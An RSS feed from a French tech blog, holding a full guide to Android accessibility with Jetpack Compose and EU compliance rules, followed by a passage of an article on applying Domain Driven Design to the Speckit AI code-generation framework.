<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Niji.tech, c’est le meilleur de la tech by Niji]]></title><description><![CDATA[Niji.tech, c’est le meilleur de la tech by Niji,
du web, du mobile, de l'agile, du design, des bonnes pratiques, et plus encore !]]></description><link>https://niji.tech</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1681313893208/o_AkmD6QQ.png</url><title>Niji.tech, c’est le meilleur de la tech by Niji</title><link>https://niji.tech</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 13 Sep 2026 02:20:33 GMT</lastBuildDate><atom:link href="https://niji.tech/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Gestion de l'accessibilité en Android natif : Guide technique 2026]]></title><description><![CDATA[Pourquoi l'accessibilité est devenue incontournable en 2026
L'accessibilité n'est plus un sujet de niche réservé à quelques équipes sensibilisées. En 2026, elle est devenue une obligation légale, un c]]></description><link>https://niji.tech/managing-accessibility-in-a-native-android-app-tech-guide-in-2026</link><guid isPermaLink="true">https://niji.tech/managing-accessibility-in-a-native-android-app-tech-guide-in-2026</guid><category><![CDATA[Android]]></category><category><![CDATA[Accessibility]]></category><dc:creator><![CDATA[Mickaël Le Frapper]]></dc:creator><pubDate>Wed, 29 Jul 2026 15:08:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68c00ed844d308acdacc7214/106e30be-321c-4a16-804c-9833a609e4d8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Pourquoi l'accessibilité est devenue incontournable en 2026</h2>
<p>L'accessibilité n'est plus un sujet de niche réservé à quelques équipes sensibilisées. En 2026, elle est devenue une obligation légale, un critère de référencement sur le Play Store, et ce que l'on dit moins souvent, un révélateur de la qualité globale d'une application.</p>
<p>Depuis le 28 juin 2025, l'<strong>European Accessibility Act (EAA)</strong> est entré en vigueur dans l'Union Européenne. Cette directive impose des exigences strictes aux applications distribuées dans l'UE, quelle que soit la localisation du siège social de l'entreprise. Elle s'applique en particulier aux services bancaires et financiers, à l'e-commerce, au transport, aux télécommunications et aux services de santé. En France, elle vient compléter le <strong>RGAA</strong> <strong>(Référentiel Général d'Amélioration de l'Accessibilité)</strong>, qui reste la référence technique nationale.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68c00ed844d308acdacc7214/ba53d1fa-3039-4977-8b82-9d5f17fb53f5.png" alt="" style="display:block;margin:0 auto" />

<p>Le calendrier est clair : les nouveaux produits doivent être conformes, les contrôles ont commencé en 2026, et les services existants ont jusqu'au <strong>28 juin 2028</strong> pour se mettre en conformité. Les sanctions ne sont pas symboliques. En France, la <strong>DGCCRF</strong> peut infliger des amendes à partir de 7 500 euros, avec une astreinte de 3 000 euros par jour de non-conformité, plafonnée à 300 000 euros. Il y a également un risque de retrait de l'application des stores européens.</p>
<p>Mais au-delà du cadre légal, un constat s'impose : selon la Banque Mondiale, <a href="https://www.banquemondiale.org/fr/topic/disability#:~:text=Un%20milliard%20d'individus%2C%20soit,au%20reste%20de%20la%20population.">15 % de la population mondiale vit avec un handicap</a>, et en Europe, environ un adulte sur quatre est concerné.</p>
<p>C'est un marché que beaucoup d'applications excluent involontairement, non par mauvaise volonté, mais par manque d'attention dès la conception.</p>
<h2>Une responsabilité partagée, pas uniquement technique</h2>
<p>Ce que l’on constate sur de nombreux projets, c’est que les problématiques d’accessibilité ne relèvent pas d’une seule discipline. Elles résultent souvent d’un manque de compréhension partagée entre le design et le développement, deux domaines qui n’abordent pas toujours ces enjeux avec les mêmes méthodes, outils ou réflexes.</p>
<p>Un ratio de contraste insuffisant n'est pas nécessairement une erreur de designer : c'est souvent une vérification qui n'a tout simplement pas été intégrée dans le processus de revue des maquettes, faute d'outillage ou de critère explicite. De la même façon, un développeur qui implémente fidèlement des spécifications inaccessibles n'est pas en tort, il manque simplement d'un signal en amont pour déclencher la conversation.</p>
<p>C’est précisément pour cette raison que l’accessibilité doit être portée collectivement. Elle nécessite une implication continue de l’ensemble des intervenants, de la conception à la recette en passant par le développement.</p>
<h2>Ce qu'on observe encore trop souvent sur le terrain</h2>
<p>Après plusieurs années d’accompagnement de clients sur ces sujets, certains problèmes reviennent avec une régularité déconcertante, non par négligence, mais parce que l’accessibilité est rarement testée en conditions réelles.</p>
<p>Le premier réflexe manquant, c'est de ne jamais avoir lancé <strong>TalkBack</strong> sur l'application. On découvre alors que des écrans entiers sont silencieux (des icônes sans contentDescription, des boutons dont le rôle n'est pas déclaré, des états qui ne sont communiqués que visuellement). L'utilisateur utilisant un lecteur d'écran est bloqué.</p>
<p>La mise à l’échelle dynamique du texte reste un autre aspect fréquemment oublié. Les tests se font quasi systématiquement avec la taille de police par défaut du système. Quand un utilisateur passe à 150 % ou 200 % , les layouts qui n'ont pas été conçus pour absorber ce changement s'effondrent : textes tronqués, chevauchements, boutons dont le libellé sort de sa zone. Ce n'est pas un cas rare, c'est un cas que la majorité des utilisateurs en situation de handicap visuel rencontre quotidiennement.</p>
<p>Les dialogs et bottom sheets posent eux aussi des problèmes récurrents. Le focus de TalkBack ne se déplace pas automatiquement vers le contenu de la modale lorsqu'elle s'ouvre, et ne revient pas à l'élément déclencheur à sa fermeture. L'utilisateur se retrouve à naviguer dans un contenu qui n'est plus visible à l'écran, sans comprendre ce qui s'est passé. C'est un comportement qu'on corrige en quelques lignes, mais qu'on ne voit jamais si on ne teste pas avec le lecteur d'écran.</p>
<p>Enfin, les <code>contentDescription</code> génériques sont peut-être l'erreur la plus répandue dans les listes et les composants répétés. Plusieurs cartes dans un feed, plusieurs produits dans un catalogue : chacun hérite de la même description "Image du produit", "Voir le détail". TalkBack les annonce tous de manière identique, rendant la navigation par balayage totalement inutilisable. C'est aussi l'un des cas les plus fréquents en production : une équipe qui pense avoir coché la case accessibilité, mais qui n'a jamais ouvert TalkBack. La conviction ne remplace pas le test. Chaque élément doit porter le contexte qui permet à l'utilisateur de savoir où il est et ce qu'il va activer.</p>
<p>Ce qui réunit tous ces cas, c'est qu'ils sont détectables en quelques minutes de test avec TalkBack, et rectifiables en quelques heures si on s'y prend tôt. C'est leur coût quand on les découvre en fin de projet ou pire, après un audit de conformité, qui devient problématique.</p>
<p>Ces problèmes ont un point commun : ils sont tous évitables si on sait où regarder. La bonne nouvelle, c'est que Jetpack Compose donne les outils pour les corriger proprement.</p>
<h2>Implémenter l'accessibilité avec Jetpack Compose</h2>
<p>Jetpack Compose intègre l'accessibilité au cœur de son architecture via le système de Semantics. En pratique, cela signifie que chaque décision d'implémentation a une incidence directe sur ce qu'un service d'accessibilité perçoit. Voici les points qui concentrent l'essentiel des erreurs et des corrections.</p>
<h3>Descriptions de contenu</h3>
<p>Chaque image interactive doit avoir une <code>contentDescription</code> claire et utile. La règle d'or : décrivez le contenu, pas l'apparence visuelle.</p>
<pre><code class="language-kotlin">// ✅ Correct : description orientée contenu
Image(
    painter = painterResource(id = R.drawable.user_avatar),
    contentDescription = "Photo de profil de l'utilisateur",
    modifier = Modifier.size(48.dp)
)

// ✅ Image purement décorative : l'indiquer explicitement
Image(
    painter = painterResource(id = R.drawable.decorative_pattern),
    contentDescription = null,
    modifier = Modifier.semantics { invisibleToUser() }
)
</code></pre>
<div>
<div>💡</div>
<div>Quelques règles pratiques souvent oubliées : n'incluez jamais le type d'élément dans la description (TalkBack l'annonce automatiquement). Dans une liste, chaque élément doit avoir une description unique reflétant son propre contenu. Pour les <code>TextView</code>, Android annonce automatiquement le texte (pas besoin de <code>contentDescription</code>).</div>
</div>

<h3>Rôles sémantiques et fusion</h3>
<p>Pour les composants custom, définissez explicitement le rôle sémantique afin que TalkBack comprenne comment interagir avec l'élément :</p>
<pre><code class="language-kotlin">Box(
    modifier = Modifier
        .clickable { /* Action */ }
        .semantics {
            role = Role.Button
            contentDescription = "Télécharger le fichier"
        }
        .padding(16.dp)
) {
    Icon(Icons.Default.CloudUpload, contentDescription = null)
    Text("Télécharger")
}
</code></pre>
<p>Pour les composants composites (un avatar accompagné d'un nom, par exemple), utilisez <code>mergeDescendants = true</code> pour que TalkBack les traite comme une seule unité cohérente plutôt que de lire chaque enfant séparément :</p>
<pre><code class="language-kotlin">Row(
    modifier = Modifier
        .clickable { /* Ouvrir profil */ }
        .semantics(mergeDescendants = true) {}
) {
    Image(
        painter = painterResource(R.drawable.avatar),
        contentDescription = "Avatar",
        modifier = Modifier.size(48.dp)
    )
    Text("Jean Dupont")
}
// TalkBack annonce : "Jean Dupont, Avatar, Bouton, double-tap pour activer"
</code></pre>
<h3>Labels d'action et ordre de traversée</h3>
<p>Les labels d'action permettent de donner du contexte à des boutons génériques comme "Lire plus" ou "Voir" :</p>
<pre><code class="language-kotlin">Button(
    onClick = { /* Action */ },
    modifier = Modifier.semantics {
        onClick(label = "Ouvrir l'article complet") { true }
    }
) {
    Text("Lire plus")
}
</code></pre>
<p>Pour les layouts non-linéaires, l'ordre de traversée par défaut de haut en bas / gauche à droite peut ne pas correspondre à l'ordre logique. <code>traversalIndex</code> permet de le contrôler précisément.</p>
<h3>LiveRegion pour les contenus dynamiques</h3>
<p>Lorsqu'un contenu change dynamiquement (compteur de messages, état d'un formulaire), <code>LiveRegionMode.Polite</code> notifie TalkBack à la prochaine pause, sans interrompre la lecture en cours. <code>LiveRegionMode.Assertive</code> interrompt immédiatement (à réserver aux situations d'urgence réelle).</p>
<pre><code class="language-kotlin">Text(
    text = "Vous avez $messageCount nouveaux messages",
    modifier = Modifier.semantics {
        liveRegion = LiveRegionMode.Polite
    }
)
</code></pre>
<h3>Gestion du focus</h3>
<p>Une confusion fréquente : focusRequester gère le focus clavier, pas le focus TalkBack. Pour déplacer le focus d'accessibilité vers un élément précis, il faut passer par les Semantics :</p>
<pre><code class="language-kotlin">// ❌ Focus clavier uniquement, TalkBack ne suivra pas
TextField(
    value = text,
    onValueChange = { text = it },
    modifier = Modifier.focusRequester(focusRequester)
)

// ✅ Focus accessibilité correct
var focusedState by remember { mutableStateOf(false) }
TextField(
    value = text,
    onValueChange = { text = it },
    modifier = Modifier.semantics { focused = focusedState }
)
LaunchedEffect(Unit) {
    delay(100)
    focusedState = true
}
</code></pre>
<h2>Exigences visuelles : contraste, tailles et texte</h2>
<h3>Contraste des couleurs</h3>
<p>Le ratio de contraste doit être d'au moins <strong>4.5:1</strong> pour les textes de moins de 18pt (ou 14pt en gras), et d'au moins <strong>3:1</strong> pour les textes plus grands. Utiliser les couleurs du Material Theme est la façon la plus simple de respecter ces exigences par défaut puisque les palettes Material sont construites pour respecter les ratios WCAG. Les couleurs hardcodées, en revanche, sont un terrain miné.</p>
<pre><code class="language-kotlin">// ✅ Contraste garanti via Material Theme
Text(
    text = "Texte accessible",
    color = MaterialTheme.colorScheme.onBackground,
    fontSize = 16.sp
)

// ❌ Risque de contraste insuffisant
Text(
    text = "Texte difficile à lire",
    color = Color.Gray,
    fontSize = 14.sp
)
</code></pre>
<div>
<div>💡</div>
<div>Il existe par ailleurs de nombreux outils permettant de vérifier les contrastes et de s’assurer de leur conformité avant même l’intégration.</div>
</div>

<h3>Mise à l'échelle du texte</h3>
<p>La prise en charge du redimensionnement dynamique du texte, basé sur les paramètres système de l’utilisateur, est un aspect à prendre en compte avec attention.</p>
<pre><code class="language-markdown">// ✅ Utilisation de l'échelle sp (scale-independent pixels)
Text(
    text = "Texte scalable",
    fontSize = 16.sp, // S'adapte aux préférences utilisateur
    lineHeight = 24.sp
)

// ❌ Taille fixe en dp (ne scale pas)
Text(
    text = "Texte non-scalable",
    fontSize = 16.dp.toSp() // Mauvaise pratique
)

// ✅ Auto-sizing text (Compose BOM 2025.05+)
Text(
    text = longText,
    modifier = Modifier
        .width(200.dp)
        .autoSizeText(
            minFontSize = 12.sp,
            maxFontSize = 20.sp
        )
)
</code></pre>
<h3>Tailles de cibles tactiles</h3>
<p>Chaque élément interactif doit avoir une zone tactile d'au moins <strong>48dp × 48dp</strong>. Ce point est plus subtil qu'il n'y paraît : la taille <em>visible</em> d'un élément peut être inférieure à 48dp, à condition que le padding compense. Ce qui compte, c'est la zone de contact, pas l'icône.</p>
<pre><code class="language-kotlin">IconButton(
    onClick = { /* Action */ },
    modifier = Modifier.size(48.dp)
) {
    Icon(
        imageVector = Icons.Default.Delete,
        contentDescription = "Supprimer",
        modifier = Modifier.size(24.dp) // Icône visuellement plus petite
    )
}
</code></pre>
<h3>Champs de saisie : labels et types de clavier</h3>
<p>Chaque champ de saisie doit avoir un label qui reste visible après la prise de focus. Un placeholder qui disparaît à la saisie n'est pas un label.</p>
<pre><code class="language-kotlin">// ✅ Label persistant
OutlinedTextField(
    value = email,
    onValueChange = { email = it },
    label = { Text("Adresse e-mail") },
    keyboardOptions = KeyboardOptions(
        keyboardType = KeyboardType.Email,
        imeAction = ImeAction.Next
    )
)

// ❌ Placeholder uniquement : disparaît après saisie
TextField(
    value = email,
    onValueChange = { email = it },
    placeholder = { Text("Entrez votre e-mail") }
)
</code></pre>
<p>Associez toujours le bon type de clavier à chaque champ : <code>KeyboardType.Email</code> pour les emails, <code>KeyboardType.Phone</code> pour les téléphones, <code>KeyboardType.Decimal</code> pour les montants. C'est une ligne de code qui améliore concrètement l'expérience de saisie pour tout le monde.</p>
<h3>Orientation et support RTL</h3>
<p>L'application ne doit pas imposer une orientation pour accéder au contenu. À partir d'Android 16 (API level 36), les attributs <code>android:screenOrientation</code> comme "portrait" ou "landscape" sont ignorés par le système pour les apps ciblant ce niveau d'API. Cette évolution technique renforce la conformité EAA, mais elle peut aussi surprendre des équipes qui avaient verrouillé l'orientation sans en tenir compte dans leurs layouts.</p>
<p>Pour les langues RTL (arabe, hébreu), préférez les arrangements <code>Start</code>/<code>End</code> aux <code>Left</code>/<code>Right</code>. Ils s'inversent automatiquement selon la direction du layout.</p>
<h2>Tests : ne pas faire confiance qu'aux outils automatisés</h2>
<h3>TalkBack : le test minimum absolu</h3>
<p>Il n'y a pas de substitut à un test manuel avec TalkBack activé. La procédure est simple : activez TalkBack dans Paramètres &gt; Accessibilité, naviguez avec les gestes (glisser à droite pour l'élément suivant, double-tap pour activer), et parcourez les flux principaux de votre application. Les questions à se poser : tous les éléments interactifs sont-ils annoncés ? Les annonces sont-elles claires et pertinentes ? L'ordre de navigation est-il logique ? Peut-on toujours revenir en arrière sans être piégé ?</p>
<div>
<div>💡</div>
<div>Pour faciliter les audits, activez l'affichage de la sortie vocale dans les Paramètres développeur de TalkBack : une bulle affiche à l'écran le texte prononcé, ce qui permet de vérifier les annonces sans audio et de les documenter en capture d'écran.</div>
</div>

<img src="https://cdn.hashnode.com/uploads/covers/68c00ed844d308acdacc7214/815e2843-c8b1-4502-82d6-13900a67c604.jpg" alt="" style="display:block;margin:0 auto" />

<blockquote>
<p>TalkBack</p>
</blockquote>
<h3>Compose UI Check et Lint</h3>
<p>Android Studio intègre <strong>Compose UI Check</strong>, un mode d'audit automatique pour les Compose Previews. Il détecte les problèmes de contraste, les tailles de cibles tactiles insuffisantes, le texte étiré sur grands écrans, et simule des déficiences visuelles. Les warnings Lint d'accessibilité (contentDescription manquante sur une image, par exemple) incluent des liens directs vers le code source. Ils méritent d'être traités avec la même rigueur que les autres warnings.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68c00ed844d308acdacc7214/ed583201-c2f5-4d2e-a3de-61602ac6b1ea.png" alt="" style="display:block;margin:0 auto" />

<blockquote>
<p>Compose UI Check</p>
</blockquote>
<div>
<div>💡</div>
<div>Depuis Compose 1.8.0, l'<strong>Accessibility Test Framework</strong> peut être intégré dans les tests automatisés unitaires, avec les mêmes vérifications que celles qui alimentent Accessibility Scanner et Espresso. C'est une bonne pratique pour détecter les régressions en CI avant qu'elles n'atteignent la recette.</div>
</div>

<h3>Pre-launch reports de la Play Console</h3>
<p>À chaque soumission d'un App Bundle, la Play Console génère automatiquement un rapport de pré-lancement qui inclut une section accessibilité (tests sur appareils physiques, détection de labels manquants, de problèmes de contraste, de zones tactiles trop petites). C'est une vérification automatique gratuite qu'il serait dommage de ne pas consulter.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68c00ed844d308acdacc7214/0bd7daa3-c117-40d1-abeb-fc9a50eaa03a.svg" alt="" style="display:block;margin:0 auto" />

<h3>Tests utilisateurs</h3>
<p>Les outils automatisés captent une minorité des problèmes réels. Le reste se découvre en observant de vraies personnes utiliser l'application. Les organisations locales d'accompagnement du handicap et des plateformes comme permettent de recruter des testeurs en situation de handicap. C'est un investissement qui révèle systématiquement des frictions invisibles aux tests automatisés.</p>
<h2>Évolutions récentes à connaître</h2>
<h3>TalkBack et Gemini</h3>
<p>Depuis TalkBack 16.0, les utilisateurs peuvent décrire l'écran entier, poser des questions de suivi sur des images, et dicter du texte avec des commandes vocales avancées. TalkBack ne lit plus simplement les étiquettes que vous avez définies. Il peut, dans une certaine mesure, compenser leur absence grâce à l'IA.</p>
<p>C'est une évolution qui soulève une question légitime dans les équipes : si l'IA peut générer une description à la volée, pourquoi renseigner les <code>contentDescription</code> ?</p>
<p>La réponse est double. D'abord, la fiabilité : une description générée automatiquement peut être imprécise, trop verbeuse, ou mal contextualisée. Ensuite, la conformité légale : l'EAA ne s'appuie pas sur les capacités compensatoires de TalkBack. Elle évalue ce que l'application expose elle-même. Une contentDescription manquante reste une non-conformité, quelle que soit l'IA en arrière-plan.</p>
<p>En pratique, voyez TalkBack + Gemini comme un filet de sécurité pour les cas résiduels, pas comme une alternative à une implémentation correcte.</p>
<h3>Le thème sombre "étendu"</h3>
<p>Le thème sombre "étendu" assombrit automatiquement les applications qui n'ont pas leur propre mode sombre natif. C'est une évolution à tester explicitement : certains composants custom réagissent mal à ce forçage et peuvent produire des contrastes inattendus.</p>
<h2>Déclaration de conformité</h2>
<p>L'EAA requiert une déclaration d'accessibilité publique, facilement accessible aux utilisateurs. Privilégiez une combinaison : une section dans l'application (Paramètres &gt; Accessibilité), une page dédiée sur votre site web, et une mention dans la fiche Play Store. La déclaration doit indiquer le niveau de conformité, la date d'évaluation, la méthode utilisée, les limitations connues, et un contact pour signaler des problèmes.</p>
<p><strong>Contenu recommandé :</strong></p>
<pre><code class="language-markdown"># Déclaration d'accessibilité

## Niveau de conformité
Cette application est conforme au niveau AA des WCAG et à la norme EN 301 549.

## Date d'évaluation
Dernière évaluation : [date]

## Méthode d'évaluation
- Tests automatisés avec Accessibility Scanner
- Audit manuel avec TalkBack
- Tests utilisateurs avec personnes en situation de handicap

## Limitations connues
[Lister les éventuelles limitations avec plan de résolution]

## Contact
Pour signaler un problème d'accessibilité : accessibility@example.com
</code></pre>
<h2>Checklist de mise en conformité</h2>
<h3>Niveau 1 — Fondamentaux</h3>
<p>Les items suivants constituent le minimum pour être dans les clous de l'EAA. Toutes les images ont une <code>contentDescription</code> appropriée. Le contraste des couleurs respecte les ratios WCAG (4.5:1 pour le texte normal, 3:1 pour le texte large). Les zones tactiles font au moins 48dp × 48dp. Le texte est dimensionné en <code>sp</code>. Les flux principaux ont été testés avec <strong>TalkBack</strong>. Aucune information n'est transmise uniquement par la couleur. Les pre-launch reports de la Play Console ont été consultés et les problèmes résolus. Les warnings Lint d'accessibilité sont traités. Le contenu est accessible quelle que soit l'orientation.</p>
<h3>Niveau 2 — WCAG 2.1 AA complet</h3>
<p>Au-delà des fondamentaux : l'ordre de traversée TalkBack est logique et vérifié. Les labels d'action sont explicites pour les boutons génériques. Les <strong>LiveRegions</strong> notifient les changements de contenu dynamique. Le support RTL est implémenté. <strong>Switch Access</strong> et <strong>Voice Access</strong> ont été testés. Les vidéos ont des sous-titres et des transcriptions. Les champs de saisie ont des labels persistants et les bons types de clavier. Il n'y a pas de piège au focus.</p>
<h3>Niveau 3 — Excellence</h3>
<p>Des tests ont été réalisés avec de vrais utilisateurs en situation de handicap. La documentation d'accessibilité est maintenue pour l'équipe. Les tests d'accessibilité sont intégrés en CI/CD via l'<strong>Accessibility Test Framework</strong>. L'équipe a reçu une formation aux bonnes pratiques. Un mode de contraste élevé dédié est disponible.</p>
<h2>Ressources et outils</h2>
<p>Se former à l'accessibilité Android ne manque pas de matière, mais tout n'a pas la même valeur. Voici ce que j'utilise et recommande réellement.</p>
<p>Pour démarrer, le <strong>parcours de formation officiel Google</strong> est la référence la mieux structurée : il combine des vidéos introductives sur le fonctionnement des services d'accessibilité, des articles techniques sur les erreurs courantes, et un codelab pratique avec des exercices sur les labels de contenu, les zones tactiles et le contraste. C'est le point d'entrée que je conseille à tout développeur Android qui aborde le sujet pour la première fois. Pour aller plus loin techniquement, la <strong>documentation Jetpack Compose Accessibility</strong> et le <strong>guide Android Accessibility</strong> sur <a href="http://developer.android.com">developer.android.com</a> restent les références les plus à jour .</p>
<p>Côté outils de développement, trois sont vraiment indispensables au quotidien. <strong>Compose UI Check</strong> dans Android Studio est le plus sous-utilisé : il détecte en temps réel les problèmes de contraste et de taille tactile directement dans les previews, sans avoir à déployer l'application. <strong>Accessibility Scanner</strong> (disponible sur le Play Store) complète ce travail sur un vrai appareil, en capturant l'écran et en listant les suggestions d'amélioration. Et <strong>WebAIM Contrast Checker</strong> est l'outil le plus simple pour valider un ratio de contraste en quelques secondes. Je recommande de l'intégrer dans le processus de revue des maquettes, pas seulement en développement.</p>
<p>Pour le contexte réglementaire français, deux ressources font autorité. Le <strong>guide d'audit d'applications mobiles de la DINUM</strong> est la référence officielle pour auditer la conformité au RGAA. Et <strong>Mon Parcours Handicap</strong> publie des mises à jour régulières sur l'application de l'EAA en France, utiles pour suivre l'évolution des exigences et des sanctions.</p>
<p>Enfin, si vous cherchez un exemple de code de référence qui applique l'ensemble des bonnes pratiques Android (accessibilité incluse), l'application <strong>Now in Android</strong> de Google est open source et vaut la peine d'être parcourue. C'est plus instructif que la plupart des tutoriels.</p>
<h2>Au-delà de la conformité</h2>
<p>Il y a une façon réductrice d'aborder l'accessibilité : la voir comme une contrainte réglementaire à cocher pour éviter les sanctions. C'est compréhensible, mais c'est passer à côté de ce que l'accessibilité révèle réellement sur la qualité d'une application.</p>
<p>Une application accessible, c'est une application qui a été pensée pour fonctionner dans des conditions variées (écran en plein soleil, saisie d'une seule main, connexion dégradée, police agrandie). Les fonctionnalités qui bénéficient aux personnes en situation de handicap bénéficient à tous les autres dans les mêmes situations. Une interface qui fonctionne bien au clavier est plus rapide pour les utilisateurs avancés. Un contraste suffisant est plus confortable par forte luminosité.</p>
<p>D'un point de vue business, le marché concerné n'est pas marginal : environ 101 millions de personnes en Europe ont une forme de handicap. Le Play Store évalue et met en avant les fonctionnalités d'accessibilité dans les fiches d'application. Et sur un marché saturé, c'est une différenciation concrète que peu d'équipes exploitent encore sérieusement.</p>
<p>Le coût de la non-conformité, lui, va bien au-delà des amendes. Un retrait de store signifie une perte totale de revenus sur le marché européen. Une mauvaise presse autour de l'accessibilité laisse des traces durables. Et la dette technique accumulée en ignorant le sujet coûte systématiquement plus cher à corriger a posteriori qu'à intégrer dès le départ.</p>
<p>Pour aller plus loin : <a href="https://developer.android.com/guide/topics/ui/accessibility">Android Accessibility Guide</a> · <a href="https://developer.android.com/develop/ui/compose/accessibility">Jetpack Compose Accessibility</a> · <a href="https://developer.android.com/codelabs/jetpack-compose-accessibility">Codelab officiel</a> · <a href="https://accessibilite.numerique.gouv.fr/">Guide d'audit DINUM</a> · <a href="https://ec.europa.eu/social/main.jsp?catId=1202">European Accessibility Act — Commission européenne</a></p>
<hr />
<p><em>Cet article a été mis à jour en juin 2026 sur la base des dernières recommandations de Google, de la norme EN 301 549 et des exigences de l'European Accessibility Act.</em></p>
]]></content:encoded></item><item><title><![CDATA[Du Domain Driven Design pour Speckit ?]]></title><description><![CDATA[Dans le premier article de cette série, nous avons décrit plusieurs stades de maturité du développeur augmenté. Par l'exemple avec Speckit, nous avons montré les avantages d'un tel outil pour garantir]]></description><link>https://niji.tech/du-domain-driven-design-pour-speckit</link><guid isPermaLink="true">https://niji.tech/du-domain-driven-design-pour-speckit</guid><category><![CDATA[SpecKit]]></category><category><![CDATA[DDD]]></category><category><![CDATA[harness-engineering]]></category><dc:creator><![CDATA[Julien Codet]]></dc:creator><pubDate>Wed, 15 Jul 2026 15:26:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/4f6f5a24-54bc-4bd2-86da-a1d763fe2e8f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dans <a href="https://niji.tech/speckit-et-qualite">le premier article de cette série</a>, nous avons décrit plusieurs stades de maturité du développeur augmenté. Par l'exemple avec <a href="https://github.com/github/spec-kit">Speckit</a>, nous avons montré les avantages d'un tel outil pour garantir la pérennité d'un projet IT en bonne santé.</p>
<p>Le framework est à ce jour parmi les plus expérimentés (122K stars sur Github là maintenant). Cependant, face à d'autres tels que <a href="https://github.com/bmad-code-org/BMAD-METHOD">BMAD</a> notamment, il peut paraître moins adapté au <em>Brownfield,</em> et plus à l'aise sur la création en partant de rien. Chacun ses avantages et inconvénients, l'expérimentation mondiale actuelle autour de ces solutions de génération de code par IA répondra tôt ou tard à la grande question de savoir quelle méthode ou framework va l'emporter pour devenir le standard du développement du futur. Ou bien si un standard émergera vraiment.</p>
<p>Et comme Speckit présente de réels avantages, voyons si l'on peut travailler sur ses faiblesses. C'est une réflexion en cours ouverte à la critique. Voyons point par point, le constat du problème et des propositions de solutions.</p>
<h2>La hiérarchie des fichiers</h2>
<p>Les premiers essais avec Speckit sont encourageants. Tout est structuré, à sa place. Puis à chaque nouvelle demande d'évolution de votre code, Speckit crée un nouveau répertoire dans lequel il va générer et stocker les spécifications, plans d'implémentation, tâches...</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/3189367e-ae0d-4d1f-b15c-691ff48e72bc.png" alt="" style="display:block;margin:0 auto" />

<p>Si vous envisagez un cycle en V c'est parfait. Vous donnez votre cahier des charges en paramètre d'un <code>/speckit.specify</code> et vous déroulez le cycle un minimum de fois. Mais si l'on veut démarrer vite, l'arborescence des spécifications et tests devient illisible et on fait une croix sur l'expérience humaine. Et dans une équipe de 4 ou 5 développeurs c'est problématique. La combinatoire développeur x prompt donne naissance à une myriade de répertoires qui potentiellement se recouvrent fonctionnellement ou techniquement. La tendance naturelle qui en découle est donc de préparer son prompt le plus possible pour minimiser le nombre de jets avant de parvenir au résultat, et donc de retomber dans un cycle en V.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/11f1515a-c840-46b5-a2cc-dbdb94980c89.png" alt="" style="display:block;margin:0 auto" />

<p>Pourquoi c'est un problème ? Comme nous l'avons vu dans le premier article <a href="https://niji.tech/speckit-et-qualite">Comment l'IA redéfinit la QA avec Speckit</a>, ces répertoires contiennent spécifications et tests d'acceptance. On peut alors se retrouver avec des incohérences ou des doublons si une même feature est éclatée dans plusieurs dossiers. Le skill <code>/speckit.analyze</code> est censé pallier ce problème, mais il n'est pas infaillible et surtout il intervient a posteriori, et si on pense à le déclencher (il n'est pas obligatoire). Et je préfère garantir la consistance de ma spécification car encore souvent, c'est encore elle qui fait foi "contractuellement".</p>
<h3>Comment faire ?</h3>
<p>La capture d'écran précédente montre l'évolution de la spécification de notre application de prise de rendez-vous depuis le 1er article. Forcément, le temps a passé et les features se sont multipliées. Admettons qu'aujourd'hui, nous souhaitions apporter une modification en triant la liste des praticiens par proximité décroissante par rapport à l'utilisateur. Quelle est la spécification concernée ?</p>
<ul>
<li><p>001-pro-client-booking ?</p>
</li>
<li><p>003-lazy-days-loading ?</p>
</li>
<li><p>005-nearby-practitioner-agendas ?</p>
</li>
</ul>
<p>Pourrions-nous rendre cette arborescence plus lisible, pour savoir instantanément quelle spécification porte la logique de construction de la liste des praticiens, et connaître rapidement les tests d'acceptance concernés ?</p>
<p>Imaginons un nouveau skill <code>/speckit-design</code> qui à ce stade du projet, permettrait d'analyser les spécifications existantes pour identifier les domaines métier :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/16b8d679-a0ca-4faf-bc33-f392d9f23da1.png" alt="" style="display:block;margin:0 auto" />

<p>et qui créerait une nouvelle arborescence de spécifications avec un seul sous-répertoire et un seul fichier de spec (vide pour le moment) par domaine. Si nécessaire, le skill poserait des questions pour identifier le ou les bons domaines liés à la demande, sur le modèle de <code>/speckit.clarify</code> :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/004186cc-a91b-4a46-9e4a-37de3a7a9d55.png" alt="" style="display:block;margin:0 auto" />

<p>Le skill a aussi généré un descripteur <a href="http://domain-map.md">domain-map.md</a> des domaines métier, des relations entre eux, et du mapping des anciens répertoires de specs vers les nouveaux domaines.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/d7eff388-01d3-43a0-9fb3-2dd2257d052d.png" alt="" style="display:block;margin:0 auto" />

<p>Le skill a généré aussi une proposition de modèle d'information commun :</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/af33a520-b6ce-4658-b1b8-1c1ec37c0caa.png" alt="" style="display:block;margin:0 auto" />

<p>C'est déjà plus propre. Mais comment faire avec notre legacy de 1 an de fichiers de spécification ?</p>
<p>Imaginons donc un autre skill <code>/speckit-spec-refactor</code> qui irait identifier dans les anciennes spécifications les impacts dans chaque domaine</p>
<img src="https://cdn.hashnode.com/uploads/covers/6242b112db84f8c50fa5bccc/92d9ee98-8330-4a3e-be93-4d16d1cf5439.png" alt="" style="display:block;margin:0 auto" />

